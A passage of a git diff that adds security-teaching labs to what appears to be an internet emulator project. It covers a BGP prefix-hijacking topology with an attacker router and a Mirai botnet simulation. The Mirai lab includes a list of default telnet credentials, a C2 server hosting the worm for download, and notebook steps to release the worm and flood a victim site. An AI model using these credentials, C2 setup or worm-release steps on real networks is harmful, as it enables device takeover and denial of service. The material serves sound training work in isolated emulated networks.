as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "0a9d4476-ee41-4711-ba7b-84b6930b49fb", + "metadata": {}, + "source": [ + "## 恢复 AS-11 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "239005cf-7176-4dc8-b297-f78b7c3c7f55", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as11_r105_bird.conf_original as11brd-r105-10.105.0.11:/etc/bird/bird.conf\n", + "docker exec as11brd-r105-10.105.0.11 birdc configure" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "895b5edb-f955-4737-bf0a-698cba90248c", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/large_internet.py b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/large_internet.py new file mode 100755 index 000000000..e43b38c1c --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/large_internet.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator +from seedemu.utilities import Makers +import os, sys + +def run(dumpfile=None, hosts_per_as=2): + ############################################################################### + # Set the platform information + if dumpfile is None: + script_name = os.path.basename(__file__) + + if len(sys.argv) == 1: + platform = Platform.AMD64 + elif len(sys.argv) == 2: + if sys.argv[1].lower() == 'amd': + platform = Platform.AMD64 + elif sys.argv[1].lower() == 'arm': + platform = Platform.ARM64 + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + + emu = Emulator() + ebgp = Ebgp() + base = Base() + + ############################################################################### + # Create internet exchanges + ix100 = base.createInternetExchange(100) + ix101 = base.createInternetExchange(101) + ix102 = base.createInternetExchange(102) + ix103 = base.createInternetExchange(103) + ix104 = base.createInternetExchange(104) + ix105 = base.createInternetExchange(105) + ix106 = base.createInternetExchange(106) + ix107 = base.createInternetExchange(107) + ix108 = base.createInternetExchange(108) + ix109 = base.createInternetExchange(109) + + # Customize names (for visualization purpose) + ix100.getPeeringLan().setDisplayName('Beijing-100') + ix101.getPeeringLan().setDisplayName('Shanghai-101') + ix102.getPeeringLan().setDisplayName('Hangzhou-102') + ix103.getPeeringLan().setDisplayName('Wuhan-103') + ix104.getPeeringLan().setDisplayName('Guanzhou-104') + ix105.getPeeringLan().setDisplayName('Chongqing-105') + ix106.getPeeringLan().setDisplayName('Lanzhou-106') + ix107.getPeeringLan().setDisplayName('Kunming-107') + ix108.getPeeringLan().setDisplayName('Nanchang-108') + ix109.getPeeringLan().setDisplayName('Changchun-109') + + + ############################################################################### + # Create Transit Autonomous Systems + + ## Tier 1 ASes + Makers.makeTransitAs(base, 2, [100, 101, 102, 107], + [(100, 101), (101, 102), (100, 107), (102, 107)] + ) + + Makers.makeTransitAs(base, 3, [100, 103, 104, 107, 108], + [(100, 103), (103, 104), (104, 107), (107, 108)] + ) + + Makers.makeTransitAs(base, 4, [100, 102, 104, 106, 108], + [(100, 104), (102, 104), (102, 106), (100, 108)] + ) + + + ## Tier 2 ASes + Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) + Makers.makeTransitAs(base, 12, [101, 104, 109], [(101, 104), (104, 109)]) + Makers.makeTransitAs(base, 13, [103, 106], [(103, 106)]) + + + ############################################################################### + # Create single-homed stub ASes. + Makers.makeStubAsWithHosts(emu, base, 150, 100, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 151, 100, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 152, 100, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 153, 101, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 154, 101, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 155, 101, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 156, 102, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 157, 102, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 158, 102, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 159, 103, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 160, 103, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 161, 103, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 162, 104, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 163, 104, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 164, 104, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 165, 105, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 166, 105, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 167, 106, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 168, 106, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 169, 106, hosts_per_as) + + + Makers.makeStubAsWithHosts(emu, base, 170, 107, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 171, 107, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 172, 107, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 173, 108, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 174, 108, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 175, 108, hosts_per_as) + + Makers.makeStubAsWithHosts(emu, base, 176, 109, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 177, 109, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 178, 109, hosts_per_as) + + # Create a real-world router, attach it to ix-101 and peer with AS-2 + as77777 = base.createAutonomousSystem(77777) + as77777.createRealWorldRouter(name='real-world', prefixes=['0.0.0.0/1', '128.0.0.0/1'])\ + .joinNetwork('ix102', address = '10.102.0.177') + ebgp.addPrivatePeerings(102, [2], [77777], PeerRelationship.Provider) + + + # Create a new AS as the BGP attacker, attach it to ix-105 and peer with AS-11 + as199 = base.createAutonomousSystem(199) + as199.createNetwork('net0') + as199.createHost('host-0').joinNetwork('net0') + as199.createRouter('attacker-bgp').joinNetwork('net0').joinNetwork('ix105') + ebgp.addPrivatePeerings(105, [11], [199], PeerRelationship.Provider) + + + + ############################################################################### + # Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, + # which means each AS will only export its customers and their own prefixes. + # We will use this peering relationship to peer all the ASes in an IX. + # None of them will provide transit service for others. + + ebgp.addRsPeers(100, [2, 3, 4]) + ebgp.addRsPeers(104, [3, 4]) + ebgp.addRsPeers(107, [2, 3]) + ebgp.addRsPeers(108, [3, 4]) + + # To buy transit services from another autonomous system, + # we will use private peering + + ebgp.addPrivatePeerings(100, [2], [150, 151, 152], PeerRelationship.Provider) + ebgp.addPrivatePeerings(100, [3], [150], PeerRelationship.Provider) + ebgp.addPrivatePeerings(100, [4], [151, 152], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(101, [2], [12, 155], PeerRelationship.Provider) + ebgp.addPrivatePeerings(101, [12], [153, 154], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(102, [2], [11, 156, 157, 158], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(103, [3], [13, 159], PeerRelationship.Provider) + ebgp.addPrivatePeerings(103, [13], [160, 161], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) + ebgp.addPrivatePeerings(104, [4], [162], PeerRelationship.Provider) + ebgp.addPrivatePeerings(104, [12], [163, 164], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(105, [11], [165, 166], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(106, [13], [167, 168, 169], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(107, [2], [170, 171], PeerRelationship.Provider) + ebgp.addPrivatePeerings(107, [3], [172], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(108, [3], [173], PeerRelationship.Provider) + ebgp.addPrivatePeerings(108, [4], [174, 175], PeerRelationship.Provider) + + + ebgp.addPrivatePeerings(109, [12], [176, 177, 178], PeerRelationship.Provider) + + ############################################################################### + # Add layers to the emulator + + emu.addLayer(base) + emu.addLayer(Routing()) + emu.addLayer(ebgp) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + if dumpfile is not None: + # Save it to a file, so it can be used by other emulators + emu.dump(dumpfile) + else: + emu.render() + + # Attach the Internet Map container to the emulator + docker = Docker(platform=platform) + emu.compile(docker, './output2', override=True) + +if __name__ == "__main__": + run() diff --git a/examples/internet/B51_bgp_prefix_hijacking/bgp_prefix_hijacking.py b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/small_internet.py similarity index 73% rename from examples/internet/B51_bgp_prefix_hijacking/bgp_prefix_hijacking.py rename to examples/yesterday_once_more/Y01_bgp_prefix_hijacking/small_internet.py index 894ed2d37..dec713f20 100755 --- a/examples/internet/B51_bgp_prefix_hijacking/bgp_prefix_hijacking.py +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/small_internet.py @@ -7,6 +7,7 @@ from examples.internet.B00_mini_internet import mini_internet import os, sys + ############################################################################### # Set the platform information script_name = os.path.basename(__file__) @@ -40,10 +41,18 @@ as199.createHost('host-0').joinNetwork('net0') # Attach it to ix-105 and peer with AS-2 -as199.createRouter('router0').joinNetwork('net0').joinNetwork('ix105') +as199.createRouter('attacker-bgp').joinNetwork('net0').joinNetwork('ix105') ebgp.addPrivatePeerings(105, [2], [199], PeerRelationship.Provider) +# Create a real-world router, attach it to ix-101 and peer with AS-2 +as77777 = base.createAutonomousSystem(77777) +as77777.createRealWorldRouter(name='real-world', prefixes=['0.0.0.0/1', '128.0.0.0/1'])\ + .joinNetwork('ix101', address = '10.101.0.177') +ebgp.addPrivatePeerings(101, [2], [77777], PeerRelationship.Provider) + + ############################################### emu.render() -emu.compile(Docker(platform=platform), './output', override=True) +emu.compile(Docker(platform=platform), './output1', override=True) + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/topology.txt b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/topology.txt new file mode 100644 index 000000000..ac11a03e8 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/topology.txt @@ -0,0 +1,15 @@ + + + 2 3 4 11 12 13 +------------------------------------------------------- +100 x x x 150, 151, 152 +101 x x 153, 154 155 +102 x x 156, 157, 158 +103 x x 159, 160, 161 +104 x x x 162, 163, 164 +105 x 165, 166 +106 x 167, 168, 169 +107 x x 170, 171, 172 +108 x x 173, 174, 175 +109 x 176, 177, 178 + diff --git a/examples/yesterday_once_more/Y02_morris_worm/README.md b/examples/yesterday_once_more/Y02_morris_worm/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/examples/yesterday_once_more/Y03_mirai/container_files/mirai-base/Dockerfile b/examples/yesterday_once_more/Y03_mirai/container_files/mirai-base/Dockerfile new file mode 100644 index 000000000..1b903ad93 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/container_files/mirai-base/Dockerfile @@ -0,0 +1,31 @@ +FROM handsonsecurity/seedemu-multiarch-base:buildx-latest +ARG DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install -y --no-install-recommends python3.8-distutils\ + python3 \ + python3-pip \ + wget \ + net-tools \ + python3-dev \ + python3-distutils \ + build-essential \ + curl \ + git \ + unzip \ + hping3 \ + && rm -rf /var/lib/apt/lists/* + +RUN pip3 install telnetlib3==1.0.4 +RUN pip3 install mss==5.0.0 +RUN pip3 install WMI==1.4.9 +RUN pip3 install numpy +RUN pip3 install pyxhook==1.0.0 +RUN pip3 install twilio==6.35.4 +RUN pip3 install colorama==0.4.3 +RUN pip3 install requests +RUN pip3 install PyInstaller +RUN pip3 install pycryptodome==3.9.6 +RUN pip3 install pycrypto==2.6.1 + + diff --git a/examples/yesterday_once_more/Y03_mirai/container_files/z_build.sh b/examples/yesterday_once_more/Y03_mirai/container_files/z_build.sh new file mode 100755 index 000000000..8dc26a632 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/container_files/z_build.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +ls | grep -Ev '.yml$|^dummies$|^morris|^z_start|^z_build' | xargs -n20 -exec docker compose build diff --git a/examples/yesterday_once_more/Y03_mirai/dns_component.py b/examples/yesterday_once_more/Y03_mirai/dns_component.py new file mode 100644 index 000000000..9fc41a43c --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/dns_component.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.core import Emulator +from seedemu.services import DomainNameService, DomainNameCachingService + +# simple dns component, for dns based kill switch purpose +def run(dumpfile = None): + emu = Emulator() + # Create a DNS layer + dns = DomainNameService() + dns.install('a-root-server').addZone('.').setMaster() + dns.install('a-com-server').addZone('com.').setMaster() + + # Customize the display names (for visualization purpose) + emu.getVirtualNode('a-root-server').setDisplayName('Root-A') + emu.getVirtualNode('a-com-server').setDisplayName('COM-A') + emu.addLayer(dns) + + if dumpfile is not None: + emu.dump(dumpfile) + else: + emu.dump('dns_component.bin') + +if __name__ == "__main__": + run() diff --git a/examples/yesterday_once_more/Y03_mirai/mini_internet_for_mirai.py b/examples/yesterday_once_more/Y03_mirai/mini_internet_for_mirai.py new file mode 100644 index 000000000..ddc259a1d --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/mini_internet_for_mirai.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +import os, sys, random + +# just list 5 groups +MIRAI_CREDS = [ + ("root", "vizxv"), ("root", "xc3511"), ("root", "admin"), + ("admin", "admin"), ("root", "888888") +] + +def makeVictim(emu: Emulator, base: Base, victim_asn: int): + # set victim to 10.170.0.99 + victim_as = base.getAutonomousSystem(victim_asn) + victim_server = victim_as.createHost('host_victim').joinNetwork('net0',address='10.170.0.99') + + # import index.html + victim_server.appendStartCommand('mkdir -p /var/www/html', fork=True) + current_dir = os.getcwd() + + # large image + victim_server.importFile(hostpath=f"{current_dir}/misc/index.html", containerpath="/var/www/html/index.html") + victim_server.importFile(hostpath=f"{current_dir}/misc/large_image.png", containerpath="/var/www/html/large_image.png") + victim_server.appendStartCommand('python3 -m http.server 80 --directory /var/www/html', fork=True) + + # web setting + victim_server.appendStartCommand('tc qdisc replace dev net0 root tbf rate 10mbit burst 32kbit latency 400ms', fork=True ) + # victim_server.appendStartCommand('sysctl -w net.ipv4.tcp_syncookies=0', fork=True) + # victim_server.appendStartCommand('sysctl -w net.core.somaxconn=128', fork=True) + + victim_server.addPortForwarding(445,80) + print(f"Victim server created in AS {victim_asn} and serving a website.") + + +def run(dumpfile=None, hosts_per_as=8): + ############################################################################### + # Set the platform information + if dumpfile is None: + script_name = os.path.basename(__file__) + + if len(sys.argv) == 1: + platform = Platform.AMD64 + elif len(sys.argv) == 2: + if sys.argv[1].lower() == 'amd': + platform = Platform.AMD64 + elif sys.argv[1].lower() == 'arm': + platform = Platform.ARM64 + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + + emu = Emulator() + ebgp = Ebgp() + base = Base() + + ############################################################################### + # Create internet exchanges + ix100 = base.createInternetExchange(100) + ix101 = base.createInternetExchange(101) + ix102 = base.createInternetExchange(102) + ix103 = base.createInternetExchange(103) + ix104 = base.createInternetExchange(104) + ix105 = base.createInternetExchange(105) + + # Customize names (for visualization purpose) + ix100.getPeeringLan().setDisplayName('NYC-100') + ix101.getPeeringLan().setDisplayName('San Jose-101') + ix102.getPeeringLan().setDisplayName('Chicago-102') + ix103.getPeeringLan().setDisplayName('Miami-103') + ix104.getPeeringLan().setDisplayName('Boston-104') + ix105.getPeeringLan().setDisplayName('Huston-105') + + + ############################################################################### + # Create Transit Autonomous Systems + + ## Tier 1 ASes + Makers.makeTransitAs(base, 2, [100, 101, 102, 105], + [(100, 101), (101, 102), (100, 105)] + ) + + Makers.makeTransitAs(base, 3, [100, 103, 104, 105], + [(100, 103), (100, 105), (103, 105), (103, 104)] + ) + + Makers.makeTransitAs(base, 4, [100, 102, 104], + [(100, 104), (102, 104)] + ) + + ## Tier 2 ASes + Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) + Makers.makeTransitAs(base, 12, [101, 104], [(101, 104)]) + + + ############################################################################### + # Create single-homed stub ASes. + Makers.makeStubAsWithHosts(emu, base, 150, 100, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 151, 100, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 152, 101, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 153, 101, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 154, 102, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 160, 103, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 161, 103, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 162, 103, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 163, 104, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 164, 104, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 170, 105, hosts_per_as) + Makers.makeStubAsWithHosts(emu, base, 171, 105, hosts_per_as) + + makeVictim(emu, base, victim_asn=170) + + ############################################################################### + # Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, + # which means each AS will only export its customers and their own prefixes. + # We will use this peering relationship to peer all the ASes in an IX. + # None of them will provide transit service for others. + + ebgp.addRsPeers(100, [2, 3, 4]) + ebgp.addRsPeers(102, [2, 4]) + ebgp.addRsPeers(104, [3, 4]) + ebgp.addRsPeers(105, [2, 3]) + + # To buy transit services from another autonomous system, + # we will use private peering + + ebgp.addPrivatePeerings(100, [2], [150, 151], PeerRelationship.Provider) + ebgp.addPrivatePeerings(100, [3], [150], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(101, [2], [12], PeerRelationship.Provider) + ebgp.addPrivatePeerings(101, [12], [152, 153], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(102, [2, 4], [11, 154], PeerRelationship.Provider) + ebgp.addPrivatePeerings(102, [11], [154], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(103, [3], [160, 161, 162], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) + ebgp.addPrivatePeerings(104, [4], [163], PeerRelationship.Provider) + ebgp.addPrivatePeerings(104, [12], [164], PeerRelationship.Provider) + + ebgp.addPrivatePeerings(105, [3], [11, 170], PeerRelationship.Provider) + ebgp.addPrivatePeerings(105, [11], [171], PeerRelationship.Provider) + + + ############################################################################### + # Add layers to the emulator + + emu.addLayer(base) + emu.addLayer(Routing()) + emu.addLayer(ebgp) + emu.addLayer(Ibgp()) + emu.addLayer(Ospf()) + + ############################################################################### + # Mirai settings + for stub_as in [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171]: + hosts = base.getAutonomousSystem(stub_as).getHosts() + for hostname in hosts: + host = base.getAutonomousSystem(stub_as).getHost(hostname) + host.addSoftware('telnetd') + host.addSoftware('telnet') + host.appendStartCommand('rm -f /root/.bashrc ', fork=True) + host.appendStartCommand('echo "pts/0" >> /etc/securetty && echo "pts/1" >> /etc/securetty ', fork=True) + host.appendStartCommand('echo -e "telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd -L /bin/login" > /etc/inetd.conf', fork=True) + # randomly select mirai credits + user, pwd = random.choice(MIRAI_CREDS) + + if user == "root": + host.appendStartCommand( + f'echo -e "{pwd}\\n{pwd}" | passwd root', fork=True) + else: + host.appendStartCommand( + f'useradd -m -s /bin/bash {user} && ' + f'echo -e "{pwd}\\n{pwd}" | passwd {user}', fork=True) + host.appendStartCommand('/usr/sbin/inetd -d ', fork=True) + + + # set C2 server to 10.170.0.100 + # use BotnetService to setup C2 + C2 = base.getAutonomousSystem(170).createHost('c2_server').joinNetwork('net0', address= '10.170.0.100') + botcontroller = BotnetService() + botcontroller.install('bot-controller') + emu.getVirtualNode('bot-controller').setDisplayName('C2_server') + emu.addBinding(Binding('bot-controller', filter = Filter(ip='10.170.0.100'), action=Action.FIRST)) + emu.addLayer(botcontroller) + + C2.appendStartCommand('mkdir -p /var/www/html && cd /var/www/html', fork=True) + current_dir = os.getcwd() + C2.importFile(hostpath=f"{current_dir}/mirai.py", containerpath="/var/www/html/mirai.py") + C2.appendStartCommand('chmod +x mirai.py',fork=True) + C2.appendStartCommand('python3 -m http.server 80 --directory /var/www/html', fork=True) # start C2 server(for mirai.py download purpose) + C2.addSoftware('telnetd') + C2.addSoftware('telnet') + + if dumpfile is not None: + # Save it to a file, so it can be used by other emulators + emu.dump(dumpfile) + else: + emu.render() + # change the docker base to mirai-base before compile + docker = Docker(internetMapEnabled=True) + docker.addImage(DockerImage('mirai-base', [], local = True)) + for stub_as in [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171]: + hosts = base.getAutonomousSystem(stub_as).getHosts() + for hostname in hosts: + host = base.getAutonomousSystem(stub_as).getHost(hostname) + docker.setImageOverride(host, 'mirai-base') + emu.compile(docker, './output', override=True) + os.system('cp -r container_files/mirai-base ./output') + +if __name__ == "__main__": + run() diff --git a/examples/yesterday_once_more/Y03_mirai/mirai.ipynb b/examples/yesterday_once_more/Y03_mirai/mirai.ipynb new file mode 100644 index 000000000..3a75b9c26 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/mirai.ipynb @@ -0,0 +1,399 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Example: Mirai Botnet Attack Simulation\n", + "\n", + "This Notebook aims to demonstrate how to use the Seed-Emulator platform to replicate the core behaviors of the Mirai botnet. Through interactive code cells, you will be guided step-by-step through the entire process, from building the environment and propagating the worm to launching a DDoS attack and triggering the kill switch.\n", + "\n", + "### About the Mirai Malware\n", + "Mirai is an infamous piece of malware that primarily infects Internet of Things (IoT) devices, assembling them into a massive, remotely controlled botnet. Its main propagation method is by scanning the internet for devices with open Telnet ports that are still using factory default credentials. Once a device is infected, it becomes part of the botnet (a \"bot\") and follows commands from a Command & Control (C2) server to launch large-scale Distributed Denial of Service (DDoS) attacks.\n", + "\n", + "### Demonstration Overview\n", + "This example will guide you through the following key steps:\n", + "1. **Build the Simulation Environment**: Automatically compile and launch a mini-internet environment containing multiple Autonomous Systems (ASes), routers, and hosts.\n", + "2. **Build the Botnet**: Start the C2 server and release the worm script, observing its automatic propagation and infection process via weak password scanning in the simulated network.\n", + "3. **Launch a DDoS Attack**: Control all infected bots to launch a traffic attack against a target website.\n", + "4. **Observe the Attack's Effect**: Visually assess the impact of the DDoS attack on the web service's performance through browser access and a network topology map.\n", + "5. **Trigger the DNS Kill Switch**: Demonstrate the DNS \"kill switch\" mechanism designed in Mirai and observe how it terminates the worm's further propagation." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 1: Environment Preparation and Compilation\n", + "\n", + "Before you begin, please ensure that **Docker** and **Python 3** are installed on your system. This Notebook relies on the `!` command to execute shell scripts.\n", + "\n", + "First, let's confirm that the project file structure is complete. The following command will display the structure of the current directory." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "!tree -L 2" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "**Expected Output**: You should see a directory structure similar to the one below, containing all the necessary `.py` and `.sh` script files.\n", + "```\n", + ".\n", + "├── container_files\n", + "│ ├── mirai-base\n", + "│ └── z_build.sh\n", + "├── dns_component.py\n", + "├── mini_internet_for_mirai.py\n", + "├── mirai_internet_with_dns.py\n", + "├── mirai.py\n", + "├── misc\n", + "│ └── index.html\n", + "├── README.md\n", + "└── scripts\n", + " ├── add_dns_record.sh\n", + " ├── start_c2_server.sh\n", + " ├── start_com-a_server.sh\n", + " └── start_victim_host.sh\n", + "```\n", + "---\n", + "Next, run the main script `mirai_internet_with_dns.py`. This script will invoke the core functionalities of Seed-Emulator to compile the defined network topology, hosts, and services into a set of Docker Compose configuration files. This process is expected to take several seconds." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Compiling the simulation environment, please wait...\")\n", + "!python3 mirai_internet_with_dns.py\n", + "print(\"Compilation complete. The output/ directory has been generated.\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 2: Launching the Simulation Environment\n", + "\n", + "After compilation, we will launch the simulation environment in two steps: first, build the Docker images, and then start all the containers. Building the images for the first time may take several minutes." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Building Docker images... (this may take a while on the first run)\")\n", + "!cd output && DOCKER_BUILDKIT=0 docker compose build\n", + "print(\"Image build complete.\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Starting all containers in the background...\")\n", + "!cd output && docker compose up -d\n", + "print(\"All containers have been started successfully.\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Visualizing the Network Topology\n", + "\n", + "The simulation environment provides a web-based visualization interface for real-time monitoring of the network topology and data flow.\n", + "\n", + "Please open the following address in your web browser: [http://localhost:8080/map.html](http://localhost:8080/map.html)\n", + "\n", + "Through this interactive map, you can visually observe the worm's propagation path and the traffic flow of the DDoS attack in the subsequent steps." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 3: Building the Botnet\n", + "\n", + "With the environment deployed, it's time to begin the core steps of the attack simulation. First, we will start the Command & Control (C2) server, and then release the worm to act as \"patient zero\" and begin infecting the network." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 3.1 Start the C2 Server (BYOB)\n", + "\n", + "The C2 server is the control center of the botnet, used to receive connections from bots and issue commands. This example uses the open-source tool **BYOB (Build Your Own Botnet)** as the C2 framework.\n", + "\n", + "**Note: Manual action required**\n", + "This step requires an interactive terminal to run the BYOB console. Please **open a new local terminal window** and execute the following command to enter the C2 server's shell:\n", + "\n", + "```bash\n", + "# Run in a new local terminal:\n", + "./scripts/start_c2_server.sh\n", + "```\n", + "\n", + "After entering the C2 server's shell, execute the following command to start the BYOB server:\n", + "\n", + "```bash\n", + "# Run in the C2 server's shell:\n", + "cd /tmp/byob/byob/\n", + "python3 server.py --port 445\n", + "```\n", + "\n", + "When you see the BYOB welcome screen, it means the C2 server is running successfully and is listening for connections. **Please keep this terminal window open**. You can type `sessions` in this window at any time to view the list of connected bots." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 3.2 Release the Worm and Observe Propagation\n", + "\n", + "Once the C2 service is ready, the worm can be released. We will start from the C2 server itself by running the `mirai.py` script. It will act as the first infected node, scanning the network for other devices with weak Telnet credentials and implanting copies of itself.\n", + "\n", + "**Preparation for Observation**: To clearly observe the propagation process, please first go to the [network map](http://localhost:8080/map.html) and enter `dst 10.170.0.100` in the filter box, then press Enter. This will highlight all traffic directed to the C2 server (IP: `10.170.0.100`).\n", + "\n", + "Now, execute the code cell below to start the worm." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Releasing the 'mirai.py' worm on the C2 server...\")\n", + "c2_container_id = !docker ps -f \"name=C2_server\" -q\n", + "if c2_container_id:\n", + " !docker exec -d {c2_container_id[0]} sh -c 'cd /var/www/html/ && python3 mirai.py > /tmp/mirai_worm.log 2>&1'\n", + " print(\"The worm is now running in the background and will begin to scan and infect other hosts in the network.\")\n", + "else:\n", + " print(\"Error: Could not find the C2_server container.\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 3.3 Observing the Propagation Process\n", + "\n", + "After executing the previous step, the worm has started to spread. Please switch to the browser window with the [network map](http://localhost:8080/map.html) to observe.\n", + "\n", + "You will see a continuous stream of new nodes initiating connections to the C2 server, which indicates that these nodes are downloading the `mirai.py` worm script. The traffic dynamics of the entire propagation process will be visually presented before you.\n", + "\n", + "Meanwhile, in the terminal where you are running BYOB, you will see new session connection messages appearing. Once the network is fully infected, the total number of sessions will exceed 90, which can serve as a reference for the propagation progress." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 4: Launching the DDoS Attack\n", + "\n", + "After a period of propagation, our botnet has reached a considerable size. Next, we will leverage these bots to launch an application-layer DDoS attack against the target website (`host_victim`, IP: `10.170.0.99`)." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 4.1 Prepare a Large File for the Attack and Access the Victim Website\n", + "\n", + "To make the attack's effects more observable, we will have all bots repeatedly download a large file to exhaust the victim's bandwidth. Please ensure that a large file named `large_image.png` (e.g., larger than 10MB) exists in the `misc/` directory.\n", + "\n", + "You can prepare this file in one of the following ways:\n", + "\n", + "**Option 1: Use your own file**\n", + "Place a large image or file in the `misc/` directory and rename it to `large_image.png`.\n", + "\n", + "**Option 2: Generate a file using ImageMagick**\n", + "If you have ImageMagick installed on your system, you can run the following command to generate an image of about 60MB. If it's not installed, you can install it using `sudo apt-get update && sudo apt-get install imagemagick` (for Debian/Ubuntu) or the corresponding package manager for your system." 